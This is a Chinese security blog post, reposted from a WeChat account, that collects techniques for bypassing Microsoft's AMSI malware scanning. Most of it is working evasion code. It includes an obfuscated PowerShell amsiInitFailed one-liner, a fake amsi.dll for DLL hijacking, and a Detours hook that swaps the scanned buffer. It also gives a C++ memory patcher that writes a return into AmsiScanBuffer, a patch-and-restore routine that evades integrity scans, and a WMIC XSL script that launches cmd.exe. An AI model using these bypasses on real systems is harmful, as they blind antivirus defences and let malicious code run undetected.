ASMI学习-总结

admin 2022年6月21日21:48:53评论28 views字数 8047阅读26分49秒阅读模式

Microsoft 开发了 AMSI(反恶意软件扫描接口)作为防御常见恶意软件执行和保护最终用户的方法。默认情况下,Windows Defender 与 AMSI API 交互以在执行期间使用 Windows Script Host 技术扫描 PowerShell 脚本、VBA 宏、JavaScript 和脚本,以防止任意执行代码。但是,其他防病毒产品可能包含对 AMSI 的支持,因此组织不限于使用 windows Defender。

asmi工作原理

当用户执行脚本或启动 PowerShell 时,AMSI.dll 被注入进程内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。

AmsiScanBuffer()
AmsiScanString()

绕过手段1-powershell降级

默认我新装的win10 不存在powershell -version 2
当然如果存在可以如下利用

PS C:Windowssystem32> powershell -version 3 -command whoamidesktop-pdj677pnolan
PS C:Windowssystem32>

绕过手段2-编码绕过-关闭系列

按照这篇文章 说实话 有手就行系列
https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ
我的代码如下 今天刚测试能过

$a="amsiInitFaile"$a=$a+[string]([char]100)$b="System.Management.Automation.AmsiUtil"$b=$b+[string]([char]115)[Ref].Assembly.GetType($b).GetField($a,'NonPublic,Static').SetValue($null,$true)

ASMI学习-总结

绕过手段3-dll劫持

这里原理就是指定asmidll 让这个dll伪造以下两个检查函数
AmsiScanBuffer()
AmsiScanString()

#include "pch.h"#include <iostream>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: {

} case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}LPCWSTR appName = NULL;typedef struct HAMSICONTEXT { DWORD Signature; // "AMSI" or 0x49534D41 PWCHAR AppName; // set by AmsiInitialize DWORD Antimalware; // set by AmsiInitialize DWORD SessionCount; // increased by AmsiOpenSession} HAMSICONTEXT;typedef enum AMSI_RESULT { AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_BLOCKED_BY_ADMIN_START, AMSI_RESULT_BLOCKED_BY_ADMIN_END, AMSI_RESULT_DETECTED} AMSI_RESULT;
typedef struct HAMSISESSION { DWORD test;} HAMSISESSION;
typedef struct r { DWORD r;};
void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT* amsiContext) {};void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession) {};void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession) {};void AmsiResultIsMalware(r) {};void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};void AmsiUninitialize(HAMSICONTEXT amsiContext) {};

编译成功如下
ASMI学习-总结
dll劫持优先查找本目录dll
ASMI学习-总结

绕过手段4-hook绕过

参考x64sec
进程注入.exe-https://github.com/tomcarver16/SimpleInjector/blob/master/SimpleInjector/SimpleInjector.cpp

#include "pch.h"#include <Windows.h>#include "detours.h"#include <amsi.h>#include <iostream>#pragma comment(lib,"C:\Users\admin\source\repos\MsMpEng\detours_x64.lib")#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString"
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {
std::cout << "[+] AmsiScanBuffer called" << std::endl; std::cout << "[+] Buffer " << buffer << std::endl; std::cout << "[+] Buffer Length " << length << std::endl; return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved){ if (DetourIsHelperProcess()) { return TRUE; }
if (dwReason == DLL_PROCESS_ATTACH) { AllocConsole(); freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
DetourRestoreAfterWith(); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer); DetourTransactionCommit();
} else if (dwReason == DLL_PROCESS_DETACH) { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer); DetourTransactionCommit(); FreeConsole(); } return TRUE;}

ASMI学习-总结

绕过方式5-内存补丁绕过

参考L.N师傅Bypass AMSI的前世今生(5) - 内存补丁
相关api调用流程

AmsiInitialize – 初始化AMSI API.
AmsiOpenSession – 打开
session AmsiScanBuffer – scans the user-input.
AmsiCloseSession – 关闭
session AmsiUninitialize – 删除AMSI API


这里L.N师傅说
我们还是以powershell为例,当我们打开powershell.exe,powershell.exe会加载
System.Management.Automation.dll,此dll会调用amsi.dll,因此我们只要分析清楚这2个dll里面的函
数调用和判断逻辑,就能在合适的地方修改判断逻辑,使得程序判断结果为我们指定的结果。
我们也跟进去看
ASMI学习-总结
从这里应该可以看出 其上System.Management.Automation.dll不是amsi真正的功能所在,只起一个获取返回结果的作用
进入AmsiUtils.ScanContent发现其实有三个点可以让amsiInitFailed = true;(下图没截完整)
ASMI学习-总结

// System.Management.Automation.Utilsinternal static bool Succeeded(int hresult){	return hresult >= 0;
}


接下来我们只需要伪造返回hresult小于0即可
而这个值是scanner扫描的结果如下
ASMI学习-总结
我们需要修改amsi内存里面AmsiScanBuffer或者AmsiOpenSession的返回值小于0
最后代码如下

#include <Windows.h>#include <stdio.h>#include <TlHelp32.h>#include <iostream>
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);typedef NTSTATUS(NTAPI* pZwWriteVirtualMemory)(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
typedef HMODULE (NTAPI* LoadLibrars)( LPCSTR lpLibFileName);int main() {
STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(si);
char str1[12] = "lld.i"; char str11[12] = "sma"; _strrev(str1); _strrev(str11); char str2[20] = "reffuBna"; char str22[20] = "cSismA"; strcat_s(str11, str1); _strrev(str2); _strrev(str22); strcat_s(str22, str2); char str3[30] = "exe.llehsrewop"; char str[30] = " -NoExit dir"; _strrev(str3); strcat_s(str3, str);

std::cout << "[+] Start to att AMbypass " << std::endl; CreateProcessA(NULL, (LPSTR)str3, NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi); HMODULE hModule1 = LoadLibraryW(L"kernel32.dll");
LoadLibrars LoadLibraryA = (LoadLibrars)GetProcAddress(hModule1, "LoadLibraryA"); //HMODULE Springam = LoadLibraryA(str11); HMODULE hModule = LoadLibraryA(_strrev(_strrev(str11))); LPVOID PSpringbuffer = GetProcAddress(hModule, str22);

DWORD got; char server = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, PAGE_EXECUTE_READWRITE, &got); WriteProcessMemory(pi.hProcess, (LPVOID)PSpringbuffer, &server, sizeof(char), NULL); VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, got, NULL); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); //FreeLibrary(Springam); return 0;






}

ASMI学习-总结
当然后面L.N师傅还给出了两方面的对抗手段

内存补丁对抗手段1-偏移量检查对抗

第一种检测手法,是找到函数的偏移,然后判断便宜处的二进制是否被修改,通过上面的代码我们也知
道,我们直接在函数开始地址处打补丁,我们可以增加偏移量,让补丁出现在函数种的其他位置,代码
如下:
ASMI学习-总结

内存补丁对抗手段2-完整性内存扫描缺陷对抗

第二种因为是完整性检测,我们修改代码后就能被扫出来,但是第二种侦测方法有个缺陷,就是不可能
一直扫描内存,要不使用按频率扫描,要不使用触发扫描,触发扫描比较常见,例如当侦测到
AmsiOpenSession API被调用,就触发扫描。我们对抗方法是打补丁后执行恶意代码,执行完再还原内
存,这样内存修改只是一瞬间,代码如下:

$p=@" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Patch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll");IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x75; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); }public static void UnPatch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll");IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x74; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } }"@Add-Type $p [Program]::Patch() [Program]::UnPatch()


ASMI学习-总结
这里是LN师傅发现的巧妙之处
ASMI学习-总结

绕过手段6-wmic调用bypass

参考wmic执行的时候asmi主要是对一些关键字进行crc32校验 - https://posts.specterops.io/antimalware-scan-interface-detection-optics-analysis-methodology-858c37c38383 

如下

if ( v16 == 0x788C9917 || v16 == 0x96B23E8A || v16 == 0xB8DA804E || v16 == 0xC0B29B3D || v16 == 0xD16F4088 || v16 == 0xD61D2EA7 || (v17 = 0, v16 == 0xEF726924) ) if ( v26 == 0x46B9D093 || v26 == 0xF837EFC3 )


这里SpectreOps 团队研究发现
ASMI学习-总结
这里我这个都没检测发现

<?xml version='1.0'?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script></stylesheet>


wmic process list /FORMAT:evil.xsl
这里还有一点需要关注就是当远程调用wmic时 默认扫描
ASMI学习-总结

总结

AMSI手段当然不止这些,今天就先学到这里

PS:慢就是快,少就是多




ASMI学习-总结


原文始发于微信公众号(白帽100安全攻防实验室):ASMI学习-总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月21日21:48:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ASMI学习-总结http://cn-sec.com/archives/1131658.html

发表评论

匿名网友 填写信息